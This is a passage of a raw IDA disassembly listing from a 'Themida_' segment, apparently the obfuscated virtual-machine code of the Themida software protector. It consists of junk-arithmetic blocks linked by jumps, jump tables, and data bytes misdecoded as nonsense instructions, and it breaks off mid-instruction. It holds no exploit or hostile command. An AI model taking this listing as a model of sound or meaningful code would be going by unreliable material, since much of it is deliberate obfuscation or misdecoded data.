--------------------------------------------------------------------------- loc_55D597: ; CODE XREF: Themida_:00552453j not ch shr ch, 8 jmp loc_556B8D ; --------------------------------------------------------------------------- loc_55D5A1: ; CODE XREF: Themida_:0055BD87j push dword ptr [esp] jmp loc_55AFA2 ; --------------------------------------------------------------------------- loc_55D5A9: ; CODE XREF: Themida_:0055A37Ej pop dword ptr [esp] jmp loc_5532C5 ; --------------------------------------------------------------------------- loc_55D5B1: ; CODE XREF: Themida_:0055956Ej pop eax and ch, 5Ch shl ch, 6 shr ch, 8 add ch, 0C6h sub al, 8Ch add al, ch add al, 8Ch push dword ptr [esp] pop ecx add esp, 4 push 183Bh mov [esp], ecx mov ch, 99h jmp loc_553BC1 ; --------------------------------------------------------------------------- loc_55D5DA: ; CODE XREF: Themida_:0055C2A1j pop edi push ebx mov ebx, 4 jmp loc_558D05 ; --------------------------------------------------------------------------- loc_55D5E6: ; CODE XREF: Themida_:00558428j mov ch, [esp] jmp loc_55A6BC ; --------------------------------------------------------------------------- loc_55D5EE: ; CODE XREF: Themida_:005557AFj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_552697 ; --------------------------------------------------------------------------- loc_55D604: ; CODE XREF: Themida_:00557280j mov al, dh jmp loc_551FA8 ; --------------------------------------------------------------------------- loc_55D60B: ; CODE XREF: Themida_:00556462j mov edx, [esp] add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D619: ; CODE XREF: Themida_:0055D038j mov [esp], ebx sub dword ptr [esp], 172F7F0Ch pop edi add edi, 172F7F0Ch mov ebx, [esp] add esp, 4 shl edi, 2 sub edi, 392DAE47h inc edi push 6CC4h mov [esp], ebx push edi mov edi, 3ABB4D6Bh mov ebx, edi pop edi not ebx jmp loc_553954 ; --------------------------------------------------------------------------- loc_55D652: ; CODE XREF: Themida_:0055DCC4j add esp, 4 jmp loc_559D34 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D668: ; CODE XREF: Themida_:0055D4CCj xchg ecx, [esp] mov esp, [esp] add [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D678: ; CODE XREF: Themida_:0055AF5Bj mov esi, esp add esi, 4 add esi, 4 jmp loc_554DCE ; --------------------------------------------------------------------------- loc_55D688: ; CODE XREF: Themida_:00554E32j pop esp jmp loc_551D73 ; --------------------------------------------------------------------------- loc_55D68E: ; CODE XREF: Themida_:0055838Ej mov ebp, 296F4A21h dec ebp shl ebp, 1 sub esp, 4 mov [esp], edx mov edx, 58F07982h jmp loc_5572E4 ; --------------------------------------------------------------------------- push 1A7Fh mov [esp], esp jmp loc_5595ED ; --------------------------------------------------------------------------- loc_55D6B3: ; CODE XREF: Themida_:0055A139j xchg eax, [esp] mov esp, [esp] mul ecx push ebx mov ebx, esp jmp loc_5563A6 ; --------------------------------------------------------------------------- loc_55D6C3: ; CODE XREF: Themida_:0055CD2Dj push ebp mov ebp, 699D112Eh inc ebp jmp loc_553A7F ; --------------------------------------------------------------------------- loc_55D6CF: ; CODE XREF: Themida_:0055AC33j add eax, ebx pop ebx sub eax, ebx push esi mov esi, 7FE35075h sub eax, 685B56F7h sub eax, esi jmp loc_55C27E ; --------------------------------------------------------------------------- loc_55D6E6: ; CODE XREF: Themida_:00559DC6j or edi, ebp jmp loc_554496 ; --------------------------------------------------------------------------- loc_55D6ED: ; CODE XREF: Themida_:00553235j xor edi, [esp] jmp loc_55B3A6 ; --------------------------------------------------------------------------- loc_55D6F5: ; CODE XREF: Themida_:0055B7DBj add ebx, ecx jmp loc_55D284 ; --------------------------------------------------------------------------- loc_55D6FC: ; CODE XREF: Themida_:00554CB2j not ecx sub ecx, 6F9B0007h add ecx, 45912392h jmp loc_55C65B ; --------------------------------------------------------------------------- loc_55D70F: ; CODE XREF: Themida_:00552D21j push ebx mov ebx, 7D424D5Ch sub ebx, 7A9F0730h xor ebx, 12E904C3h or edx, ebx pop ebx neg edx jmp loc_557EC2 ; --------------------------------------------------------------------------- loc_55D72B: ; CODE XREF: Themida_:005531FEj add ebp, ecx sub ebp, 1EC17E61h push 5400h mov [esp], edi mov edi, 64537AD8h jmp loc_554357 ; --------------------------------------------------------------------------- loc_55D745: ; CODE XREF: Themida_:0055CFB1j pop edx mov ecx, [esp] add esp, 4 jmp loc_5566E6 ; --------------------------------------------------------------------------- loc_55D754: ; CODE XREF: Themida_:0055D473j push ebx mov ebx, 6E6349FBh xor ebx, 3C63198h push edx mov edx, 6D9377FCh sub ebx, edx pop edx jmp loc_55DB23 ; --------------------------------------------------------------------------- loc_55D76E: ; CODE XREF: Themida_:00558ACEj xor ah, 0D4h sub ah, 9Fh jmp loc_55C2A6 ; --------------------------------------------------------------------------- loc_55D779: ; CODE XREF: Themida_:0055C28Cj push 2B6C72DDh pop edx push ebp mov ebp, 6ABD1B4Ah jmp loc_554311 ; --------------------------------------------------------------------------- loc_55D78A: ; CODE XREF: Themida_:00556F79j push eax mov ah, 0EAh sub esp, 4 jmp loc_556CD3 ; --------------------------------------------------------------------------- loc_55D795: ; CODE XREF: Themida_:0055537Cj pop ecx xor esi, [esp] jmp loc_55B497 ; --------------------------------------------------------------------------- loc_55D79E: ; CODE XREF: Themida_:0055DB57j mov ebx, esp add ebx, 4 jmp loc_554D72 ; --------------------------------------------------------------------------- loc_55D7AB: ; CODE XREF: Themida_:0055A273j sub bl, ch pop ecx sub bl, 2Fh sub bl, 0B6h sub bl, ah add bl, 0B6h add bl, 2Fh push edx jmp loc_5548F1 ; --------------------------------------------------------------------------- loc_55D7C2: ; CODE XREF: Themida_:00559BCEj pop ebx push 5F85h mov [esp], esi jmp loc_55B2BD ; --------------------------------------------------------------------------- loc_55D7D0: ; CODE XREF: Themida_:0055C6F1j pop eax add eax, 7F882A59h push dword ptr [esp] jmp loc_555F79 ; --------------------------------------------------------------------------- loc_55D7DE: ; CODE XREF: Themida_:00557C0Fj pop eax mov eax, [esp] jmp loc_55D459 ; --------------------------------------------------------------------------- loc_55D7E7: ; CODE XREF: Themida_:0055C4CDj add esp, 4 bswap eax push 2043h mov [esp], eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_55D7F9: ; CODE XREF: Themida_:00554FD2j push 27B8h mov [esp], esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] sub bl, 90h push edx mov dh, 93h add bl, dh pop edx sub bl, al push edx mov dl, 36h neg dl add dl, 0E0h jmp loc_552132 ; --------------------------------------------------------------------------- loc_55D827: ; CODE XREF: Themida_:0055AA03j mov eax, ebx pop ebx push eax pop ebx pop eax push ebp mov ebp, 78367462h or ebx, ebp mov ebp, [esp] add esp, 4 not ebx jmp loc_553D5A ; --------------------------------------------------------------------------- loc_55D842: ; CODE XREF: Themida_:00559E70j mov esp, [esp] mov [esp], eax push esp pop eax push ebx mov ebx, 4 push ebx mov ebx, 8051D61h jmp loc_556516 ; --------------------------------------------------------------------------- loc_55D85B: ; CODE XREF: Themida_:00551C45j mov dl, 0BFh sub bl, dl pop dx add al, 0F7h sub al, bl sub al, 0F7h mov ebx, [esp] add esp, 4 sub al, 0DDh jmp loc_559FF4 ; --------------------------------------------------------------------------- loc_55D877: ; CODE XREF: Themida_:00557A21j pop ebx mov edx, [esp] jmp loc_55B77C ; --------------------------------------------------------------------------- loc_55D880: ; CODE XREF: Themida_:00558B37j add esp, 4 or eax, eax jz loc_5538D3 push dword ptr [edi+1Ch] push eax mov eax, 1F06324Bh neg eax sub eax, 0B4285D66h jmp loc_55DA09 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_551FE8 ; --------------------------------------------------------------------------- loc_55D8A9: ; CODE XREF: Themida_:00554341j push eax push edx mov edx, 4 push edx pop eax mov edx, [esp] jmp loc_556F4D ; --------------------------------------------------------------------------- loc_55D8BA: ; CODE XREF: Themida_:00555B76j mov ecx, 7DD5C5AEh push esi mov esi, 376F53C1h xor esi, 50317507h sub eax, esi pop esi jmp loc_559302 ; --------------------------------------------------------------------------- loc_55D8D3: ; CODE XREF: Themida_:005551E7j mov [esp], edi jmp loc_55B8ED ; --------------------------------------------------------------------------- loc_55D8DB: ; CODE XREF: Themida_:00552352j mov [esp], ebp mov ebp, 76247CF4h xor ebp, 76247CF0h add eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_555616 ; --------------------------------------------------------------------------- loc_55D8FA: ; CODE XREF: Themida_:0055A7B3j sub esi, 31C41EA3h add esi, eax jmp loc_55CC37 ; --------------------------------------------------------------------------- loc_55D907: ; CODE XREF: Themida_:0055233Ej sub ebx, 5B3D32D0h pop edx or ebx, 4966351Eh or ebx, 2C9355BBh sub ebx, 0DA7515Dh or ebx, 45EF4B38h add ebx, 450653D6h xor ebx, 0AB05C354h add esi, ebx pop ebx push esi mov esi, esp jmp loc_553776 ; --------------------------------------------------------------------------- loc_55D93D: ; CODE XREF: Themida_:0055C3D9j sub al, 0E9h push small 6FE9h mov [esp], cx mov ch, 0F4h jmp loc_55DBF2 ; --------------------------------------------------------------------------- loc_55D94E: ; CODE XREF: Themida_:0055C385j mov edx, 492955B7h not edx sub edx, 3F4D0429h shr edx, 7 add edx, 63CC41ACh not edx jmp loc_5545EB ; --------------------------------------------------------------------------- loc_55D96B: ; CODE XREF: Themida_:005599DCj push edi jmp loc_5585E7 ; --------------------------------------------------------------------------- loc_55D971: ; CODE XREF: Themida_:005534F5j add edx, 47437B57h dec edx add edx, 3F7E5F84h push ebx push edx jmp loc_556D7D ; --------------------------------------------------------------------------- loc_55D985: ; CODE XREF: Themida_:0055B62Cj mov esp, [esp] sub al, dl pop dx push 4F74h mov [esp], ecx jmp loc_559635 ; --------------------------------------------------------------------------- loc_55D999: ; CODE XREF: Themida_:00555455j add ebx, 999312Fh pop edi push 2988h mov [esp], eax mov eax, 2236215Ah add ebx, eax pop eax add ebx, eax sub ebx, 2236215Ah push 377h jmp loc_55BB19 ; --------------------------------------------------------------------------- loc_55D9C2: ; CODE XREF: Themida_:005547BCj shl bp, 7 add bp, 4F2Ch shl bp, 8 jmp loc_557A56 ; --------------------------------------------------------------------------- loc_55D9D4: ; CODE XREF: Themida_:00555562j pop ebx jmp loc_5563DF ; --------------------------------------------------------------------------- loc_55D9DA: ; CODE XREF: Themida_:005592DCj sub esp, 4 mov [esp], edx pop edi pop edx mov ebx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 jmp loc_55A93E ; --------------------------------------------------------------------------- loc_55D9F8: ; CODE XREF: Themida_:005544DDj mov esp, [esp] xor [esp], eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_55DA03: ; CODE XREF: Themida_:0055572Cj pop edx jmp loc_556F55 ; --------------------------------------------------------------------------- loc_55DA09: ; CODE XREF: Themida_:0055D89Bj sub dword ptr [esp+4], 3308717Ch push eax mov eax, 0C66360Dh jmp loc_5583ED ; --------------------------------------------------------------------------- loc_55DA1C: ; CODE XREF: Themida_:0055CA93j pop ebp jmp loc_553978 ; --------------------------------------------------------------------------- loc_55DA22: ; CODE XREF: Themida_:0055A529j mov ebp, 2 jmp loc_5524F4 ; --------------------------------------------------------------------------- loc_55DA2C: ; CODE XREF: Themida_:0055CB6Fj push esi mov esi, 4C9E7AEEh mov ebx, 80D99A72h sub ebx, esi pop esi mov ecx, 0D29D1214h add ecx, ebx pop ebx sub ecx, 71536BEFh shl ecx, 8 jmp loc_557EF9 ; --------------------------------------------------------------------------- loc_55DA50: ; CODE XREF: Themida_:0055DA69j push ebx push ecx push esi jmp loc_556298 ; --------------------------------------------------------------------------- loc_55DA58: ; CODE XREF: Themida_:0055AED8j mov esp, [esp] push dword ptr [esp] pop ecx push 78CFh mov [esp], ebp push esp pop ebp jmp loc_55DA50 ; --------------------------------------------------------------------------- loc_55DA6E: ; CODE XREF: Themida_:0055B06Fj pop edx jmp loc_5544CD ; --------------------------------------------------------------------------- loc_55DA74: ; CODE XREF: Themida_:0055BEF5j add eax, 5E4B2A51h shr eax, 5 xor eax, 466B5A6h add ebx, eax push dword ptr [esp] pop eax add esp, 4 push edi mov edi, 2 add ebx, 0E47129h sub ebx, edi sub ebx, 0E47129h pop edi xchg ebx, [esp] jmp loc_5549FA ; --------------------------------------------------------------------------- loc_55DAAA: ; CODE XREF: Themida_:00554C09j shl eax, 1 jmp loc_55C327 ; --------------------------------------------------------------------------- loc_55DAB1: ; CODE XREF: Themida_:0055B5E0j push 4BB8h mov [esp], ebx mov bx, 6DCEh push ebx mov bx, 0AFFh not bx and bx, 1071h sub bx, 6B63h mov cx, bx pop ebx xor cx, bx jmp loc_5521CE ; --------------------------------------------------------------------------- loc_55DADB: ; CODE XREF: Themida_:0055B4D0j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55DAE0: ; CODE XREF: Themida_:00555913j push edx mov dh, 8Fh jmp loc_55AE70 ; --------------------------------------------------------------------------- loc_55DAE8: ; CODE XREF: Themida_:0055452Fj sub al, 1Dh push 0DD0h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 2 xchg ecx, [esp] jmp loc_559D5D ; --------------------------------------------------------------------------- loc_55DB05: ; CODE XREF: Themida_:00554752j add esp, 4 sub bl, ch pop ecx add bl, al jmp loc_55700E ; --------------------------------------------------------------------------- loc_55DB15: ; CODE XREF: Themida_:005531A7j push ebp mov ebp, 5FA23A09h shr ebp, 7 jmp loc_55BB67 ; --------------------------------------------------------------------------- loc_55DB23: ; CODE XREF: Themida_:0055D769j push edx mov edx, 40726B7Dh sub ebx, edx pop edx dec ebx xor ebx, 9A83D754h jmp loc_55C739 ; --------------------------------------------------------------------------- loc_55DB38: ; CODE XREF: Themida_:0055A3B5j add eax, ebx pop ebx xor eax, [esp] jmp loc_555429 ; --------------------------------------------------------------------------- loc_55DB43: ; CODE XREF: Themida_:0055DBEDj mov esp, [esp] push 3A6Fh mov [esp], ebx jmp loc_552F4D ; --------------------------------------------------------------------------- loc_55DB53: ; CODE XREF: Themida_:0055B15Aj mov eax, [esp] push ebx jmp loc_55D79E ; --------------------------------------------------------------------------- loc_55DB5C: ; CODE XREF: Themida_:0055BFB6j mov [esp], esi jmp loc_55334F ; --------------------------------------------------------------------------- loc_55DB64: ; CODE XREF: Themida_:0055D111j push esi mov esi, 64C92C10h neg esi dec esi jmp loc_55B405 ; --------------------------------------------------------------------------- loc_55DB72: ; CODE XREF: Themida_:0055A71Fj pop esi add esi, edi pop edi xchg esi, [esp] pop esp jmp loc_55BC6C ; --------------------------------------------------------------------------- loc_55DB7F: ; CODE XREF: Themida_:0055D372j push eax mov ah, 0C6h sub bh, ah pop eax sub dl, bh mov ebx, [esp] add esp, 4 jmp loc_55DBD1 ; --------------------------------------------------------------------------- loc_55DB92: ; CODE XREF: Themida_:00556369j add [esp+8], ebx sub dword ptr [esp+8], 38596494h pop ebx jmp loc_553053 ; --------------------------------------------------------------------------- loc_55DBA4: ; CODE XREF: Themida_:0055BFC7j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp and eax, edx mov edx, [esp] push esi push 65D1h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_555B9E ; --------------------------------------------------------------------------- loc_55DBD1: ; CODE XREF: Themida_:0055DB8Dj sub al, dl jmp loc_552E28 ; --------------------------------------------------------------------------- loc_55DBD8: ; CODE XREF: Themida_:0055D17Fj sub dl, 1 sub ch, dl jmp loc_559498 ; --------------------------------------------------------------------------- loc_55DBE2: ; CODE XREF: Themida_:005540A0j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55DB43 ; --------------------------------------------------------------------------- loc_55DBF2: ; CODE XREF: Themida_:0055D949j add al, 7Bh add al, 0EEh add al, ch sub al, 0EEh sub al, 7Bh pop cx add al, 75h sub al, bl sub al, 75h jmp loc_55970A ; --------------------------------------------------------------------------- loc_55DC09: ; CODE XREF: Themida_:0055358Dj xor [esp], edi xor edi, [esp] mov esp, [esp] and [esp], al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55DC1B: ; CODE XREF: Themida_:0055CE27j shr cl, 6 jmp loc_553151 ; --------------------------------------------------------------------------- loc_55DC23: ; CODE XREF: Themida_:0055BE58j push ebx push esi push ecx push 7C360CD3h pop ecx inc ecx inc ecx shr ecx, 1 add ecx, 1A203026h mov esi, ecx pop ecx jmp loc_55BF49 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx mov bh, 92h sub esp, 4 jmp loc_55B90A ; --------------------------------------------------------------------------- loc_55DC4C: ; CODE XREF: Themida_:00555C75j add ecx, esi pop esi mov edi, [esp] jmp loc_558E9A ; --------------------------------------------------------------------------- mov eax, [esp] push 2726h mov [esp], ebx push esp push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebp mov ebp, esp push edx jmp loc_55348D ; --------------------------------------------------------------------------- loc_55DC78: ; CODE XREF: Themida_:0055A152j mov edi, 60E3648Bh push eax mov eax, 0ED22970h xor eax, 78EB2226h jmp loc_55B8C3 ; --------------------------------------------------------------------------- loc_55DC8D: ; CODE XREF: Themida_:0055BAEBj push ebp push 3CD63DC0h pop ebp add dword ptr [esp+4], 0B26361Dh add [esp+4], ebp jmp loc_55965D ; --------------------------------------------------------------------------- loc_55DCA5: ; CODE XREF: Themida_:00554246j mov edx, esp jmp loc_553DDF ; --------------------------------------------------------------------------- loc_55DCAC: ; CODE XREF: Themida_:0055B38Ej mov edx, [esp] push ecx mov ecx, esp jmp loc_55198C ; --------------------------------------------------------------------------- loc_55DCB7: ; CODE XREF: Themida_:0055C10Fj mov edi, ebp pop ebp add edx, edi jmp loc_55686E ; --------------------------------------------------------------------------- loc_55DCC1: ; CODE XREF: Themida_:00557FAEj mov edi, [esp] jmp loc_55D652 ; --------------------------------------------------------------------------- loc_55DCC9: ; CODE XREF: Themida_:0055604Cj pop ebp and ecx, 1DBF1EC4h jmp loc_55B0B5 ; --------------------------------------------------------------------------- loc_55DCD5: ; CODE XREF: Themida_:00558063j push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_554191 ; --------------------------------------------------------------------------- loc_55DCE3: ; CODE XREF: Themida_:0055AC9Ej shl eax, 1 add eax, 0D42D2204h add ebp, 6C2C7DD8h add ebp, eax sub ebp, 6C2C7DD8h mov eax, [esp] jmp loc_553FCC ; --------------------------------------------------------------------------- loc_55DD00: ; CODE XREF: Themida_:0055B1D3j mov ecx, 52D4613Dh push edi jmp loc_553809 ; --------------------------------------------------------------------------- loc_55DD0B: ; CODE XREF: Themida_:00557BE7j xor [esp], edi xor edi, [esp] pop esp mov [esp], ax jmp loc_553985 ; --------------------------------------------------------------------------- loc_55DD1B: ; CODE XREF: Themida_:005586C3j pop ecx jmp loc_5563F7 ; --------------------------------------------------------------------------- loc_55DD21: ; CODE XREF: Themida_:005528D9j mov eax, 386D084Bh or eax, 1B686919h shr eax, 7 add eax, 34369044h jmp loc_557038 ; --------------------------------------------------------------------------- loc_55DD38: ; CODE XREF: Themida_:005528BCj add esi, edx mov edx, [esp] add esp, 4 mov ecx, esi pop esi shr ecx, 7 add ecx, 0DE0BEC7Ah xor ebx, ecx jmp loc_554CF2 ; --------------------------------------------------------------------------- loc_55DD56: ; CODE XREF: Themida_:00555F8Fj mov ebx, edx mov edx, [esp] push edx jmp loc_5580A0 ; --------------------------------------------------------------------------- loc_55DD61: ; CODE XREF: Themida_:0055B88Fj mov [esp], eax mov eax, esp jmp loc_55C50E ; --------------------------------------------------------------------------- loc_55DD6B: ; CODE XREF: Themida_:00557634j mov edi, esp add edi, 4 jmp loc_553A6D ; --------------------------------------------------------------------------- dd 0A269DDh, 0CF3E8D8Dh, 5B7A9Ah, 0AE0Eh, 0F9AC9A0Dh, 7FFE0304h dd 5C3419E8h, 217h, 2, 1, 0 dd 0F9AC9A0Dh, 5 dup(0) dd offset loc_55E669 dd offset loc_564E28 dd offset loc_562F8F dd offset loc_56EF67 dd offset loc_57142E dd offset loc_55FEC1 dd offset loc_56448F dd offset loc_5698E5 dd offset loc_56E2BA dd offset loc_568C24 dd offset loc_564E20 dd offset loc_56A323 dd offset loc_5627C6 dd offset loc_57002B dd offset loc_56571D dd offset loc_56E16A ; --------------------------------------------------------------------------- jmp short loc_55DE07 ; --------------------------------------------------------------------------- push esi add [esi-0Ah], cl push esi add [esi+2Fh], al push esi loc_55DE07: ; CODE XREF: Themida_:0055DDFCj add [ecx-10h], dl push esi add dl, ah in al, 55h add [ecx-17h], cl push esi add al, ah sub [edi+0], dl jns short loc_55DE7A push esi add ds:9E0056BEh, dh xchg eax, edx push esi add [ebp-30h], cl push esi add [eax+1800562Fh], dh mov [esi+0], dl dec edi or eax, 2C0D0056h push esi add [esi], bl stc push esi add [edx], bh mov ss, word ptr [esi+0] adc al, 18h push esi add [esi], dh dec ebp push esi add bl, ah call far ptr 56h:5AC0056h not byte ptr [edx] push edi add al, bh push 56h add [ecx-7Eh], ah push esi add al, dh pop ss push edi add [edi+4Eh], ah push esi add cl, ah mov dl, 56h add dl, dh pop ss push esi add [ebp-27h], dl push esi add [edi+27005609h], ah sub edx, [esi+0] jo short near ptr loc_55DEF7+1 loc_55DE7A: ; CODE XREF: Themida_:0055DE18j push esi add [edi-0EFFA9B6h], bh rcl dword ptr [esi+0], 1 sub [ebx], eax push edi add ds:4400564Fh, al repne push ebp add [edi], dh loopne loc_55DEE9 add ah, dh xlat push esi add dl, dh add [edi+0], dl lahf in eax, 55h add [ecx+6Dh], bh push esi add [eax+56h], al add [ebx+79h], dh push esi add al, dl sbb al, 57h add [ecx+9], al push edi add [ebx-75FFA982h], al and eax, 71050056h push esi add al, ch icebp push ebp add [ebx-68FFA9CEh], bh push si add [ecx], dh out 56h, al add [esi], ch xchg eax, ecx push esi add al, bl out dx, al push esi add ch, cl adc byte ptr [esi+0], 3Dh stosb push esi add [esi], dl or [esi+0], edx sub eax, 47005656h loc_55DEE9: ; CODE XREF: Themida_:0055DE91j jl short loc_55DF41 add [ebp+3Fh], ch push esi add [edi], cl std push esi add ah, bh db 26h push esi loc_55DEF7: ; CODE XREF: Themida_:0055DE78j add [ecx+12h], al push esi add [ebx+70h], dl push esi add [ebx-0Fh], al push ebp add [eax+edi*8+56h], bl add [edi], bh adc al, 57h add [edi-16h], ch push esi add [edx+7Dh], cl push esi add [eax], bl clc push ebp add ah, ch outsb push esi add dl, dl and dl, [esi+0] mov eax, ds:0F005606h pop es push edi add ch, dl jb short loc_55DF81 add [ebp+38005704h], bl in al, 56h add [ecx-2Ch], dl push esi add [edx+20h], dl push esi add [edi-51h], dh push esi add dl, dl loc_55DF41: ; CODE XREF: Themida_:loc_55DEE9j and edx, [esi+0] or edi, ebp push ebp add [edi-78h], bl push esi add bh, al inc edi push esi add [ecx-2Bh], cl push esi add [edx], bl dec ecx push esi add [edi], ah fcom qword ptr [esi+0] test al, 0C0h push esi add [esi+29h], dl push esi add dl, bh mov dl, [esi+0] in eax, dx fcom qword ptr [esi+0] movsb nop push esi add [ebx+74h], ch push esi add cl, ch xor [esi+0], edx and al, 62h push esi add [esi+660055F0h], bh loc_55DF81: ; CODE XREF: Themida_:0055DF29j loop loc_55DFD9 add bh, dl pop ds push edi add [edi], bh jp short near ptr loc_55DFE0+1 add dl, ch push ebp push esi add [ecx-80h], dh push esi add dl, al rcl dword ptr [esi+0], cl push edi adc edx, [esi+0] dec edx or [esi+0], dl retf ; --------------------------------------------------------------------------- db 8Eh, 56h, 0 dd offset loc_569B96 dd offset loc_560D42 dd offset loc_56AEE3 dd offset loc_566D32 dd offset loc_56D25E dd offset loc_565D21 dd offset loc_571E1B dd offset loc_56A657 dd offset loc_561F80 dd offset loc_56480D dd offset loc_570380 dd offset loc_56DA66 dd offset loc_571DFB db 88h ; --------------------------------------------------------------------------- loc_55DFD9: ; CODE XREF: Themida_:loc_55DF81j lock push ebp add bh, ch not byte ptr [esi+0] loc_55DFE0: ; CODE XREF: Themida_:0055DF89j jl short loc_55E00C push edi add [edx+77005684h], ch icebp push esi add ds:0EF005653h, bl retn 56h ; --------------------------------------------------------------------------- dd offset loc_55F3CE dd offset loc_55F683 dd offset loc_56F7FD dd offset loc_572B75 dd offset loc_561921 dd offset loc_56524B ; --------------------------------------------------------------------------- loc_55E00C: ; CODE XREF: Themida_:loc_55DFE0j and esi, ebp push esi add ch, ch and [esi+0], dl xor [eax], cl push esi add bh, ch push 56h add [eax], bh push edi push esi add [esi], al rcl dword ptr [esi+0], 1 bound esp, [eax] push esi add al, dh xchg eax, esp push esi add [eax+29005712h], bh push si add [ebx], ah pop esp push esi add [eax], bl push ds push esi add [ebx], dl pop esp push esi add [edi], ch pop ecx push esi add [esi-7DFFA91Eh], bl cmpsd push esi add ch, bl push ebx push esi add [edi+eax*8], bl push esi ; --------------------------------------------------------------------------- db 0 dd offset sub_562ABA ; --------------------------------------------------------------------------- loc_55E058: ; CODE XREF: Themida_:0059F046j ; Themida_:0059F050j ... pusha pushf cld call $+5 pop edi sub edi, 6A94653h mov eax, edi add edi, 6A9436Bh cmp eax, [edi+2Ch] jnz short loc_55E076 jmp short loc_55E089 ; --------------------------------------------------------------------------- loc_55E076: ; CODE XREF: Themida_:0055E072j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55E085 ; --------------------------------------------------------------------------- loc_55E080: ; CODE XREF: Themida_:0055E087j add [edi+ecx*4+40h], eax dec ecx loc_55E085: ; CODE XREF: Themida_:0055E07Ej or ecx, ecx jnz short loc_55E080 loc_55E089: ; CODE XREF: Themida_:0055E074j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55E096: ; CODE XREF: Themida_:0055E09Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55E096 ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E09F: ; CODE XREF: sub_562ABA-4811j ; sub_562ABA-47CCj ... lodsb xor al, bl push small 0BC5h mov word ptr [esp+2+var_4+2], cx push 611Fh mov [esp+6+var_8+2], eax jmp loc_56C0D1 ; --------------------------------------------------------------------------- loc_55E0B7: ; CODE XREF: sub_562ABA+425Dj pop ebx add eax, edx push ecx mov ecx, 32316506h add eax, ecx pop ecx sub eax, 691C3C5Ch sub esp, 4 mov [esp+6+var_8+2], esi push edx jmp loc_568065 ; --------------------------------------------------------------------------- loc_55E0D4: ; CODE XREF: sub_562ABA+B123j mov ecx, 2E1D5515h add ecx, 177E0D1Bh sub ecx, eax sub ecx, 177E0D1Bh pop eax sub ecx, 328F00F9h sub ecx, 0C095EFAh shl ecx, 5 jmp loc_567949 ; --------------------------------------------------------------------------- loc_55E0FC: ; CODE XREF: sub_562ABA+A110j add ecx, 694D30ADh xor ecx, 0D35E4E61h jmp loc_56578A ; --------------------------------------------------------------------------- loc_55E10D: ; CODE XREF: sub_562ABA+2CA1j xor edi, edx pop edx add eax, edi pop edi push ecx mov ecx, 75034A06h sub ecx, 0FFFFFFFFh sub ecx, 450B7196h sub ecx, 6C7F366Eh push ecx not [esp+6+var_8+2] pop ecx neg ecx xor ecx, 89F6A78Fh sub eax, 7E206E68h add eax, ecx add eax, 7E206E68h push [esp+2+var_4+2] pop ecx add esp, 4 add eax, ebx sub eax, 4A8E058Bh jmp loc_567F2F ; --------------------------------------------------------------------------- loc_55E15A: ; CODE XREF: sub_562ABA+3AE8j push eax push dword ptr [esp+4] pop eax pop [esp+2+var_4+2] mov esp, [esp+0] mov ax, [esp+0] push 1849h mov [esp+2+var_4+2], esi sub esp, 4 push esp pop [esp+0Ah+var_C+2] push edi jmp loc_55E459 ; --------------------------------------------------------------------------- loc_55E182: ; CODE XREF: sub_562ABA+C879j mov [esp+0Ah+var_C+2], eax jmp loc_563445 ; --------------------------------------------------------------------------- loc_55E18A: ; CODE XREF: sub_562ABA+8D35j shr dl, 3 jmp loc_56B198 ; --------------------------------------------------------------------------- loc_55E192: ; CODE XREF: sub_562ABA+8F1Cj xchg edi, [esp+0Ah+var_C+2] pop esp sub ebx, 700D6661h jmp loc_56CD1D ; --------------------------------------------------------------------------- loc_55E1A1: ; CODE XREF: sub_562ABA+8551j push 0C724C31h pop ebx and ebx, 29BF7B7Fh jmp loc_55F60D ; --------------------------------------------------------------------------- loc_55E1B2: ; CODE XREF: sub_562ABA+8BB1j mov edx, esp jmp loc_55EFE1 ; --------------------------------------------------------------------------- loc_55E1B9: ; CODE XREF: sub_562ABA+7DC5j add ebx, 4 xchg ebx, [esp+6+var_8+2] pop esp loc_55E1C3: ; CODE XREF: sub_562ABA+194Bj push 726Fh jmp loc_5727CC ; --------------------------------------------------------------------------- loc_55E1CD: ; CODE XREF: sub_562ABA+F145j pop ecx add edi, edx pop edx add eax, edi pop edi push edi mov edi, 2 add eax, edi pop edi xchg eax, [esp-6+arg_0+2] pop esp idiv cx sub esp, 4 mov [esp-6+arg_0+2], edx push esp pop edx push ebx mov ebx, 68AC5607h shr ebx, 6 not ebx inc ebx jmp loc_5653D2 ; --------------------------------------------------------------------------- loc_55E1FD: ; CODE XREF: sub_562ABA+1B35j push edi mov edi, 0C73C05h jmp loc_56AA25 ; --------------------------------------------------------------------------- loc_55E208: ; CODE XREF: sub_562ABA+4632j push 638Fh jmp loc_57042B ; --------------------------------------------------------------------------- loc_55E212: ; CODE XREF: sub_562ABA+9927j pop ebx jmp loc_56CC87 ; --------------------------------------------------------------------------- loc_55E218: ; CODE XREF: sub_562ABA+46B0j xor edx, [esp+2+var_4+2] xor [esp+2+var_4+2], edx xor edx, [esp+2+var_4+2] pop esp mov [esp+0], edi mov edi, 5E742446h push ebp mov ebp, 0 sub ebp, 5C291CA8h sub ebp, edi add ebp, 5C291CA8h xchg ebp, edi pop ebp add edi, 2F3230A9h shl edi, 6 shr edi, 5 push eax mov 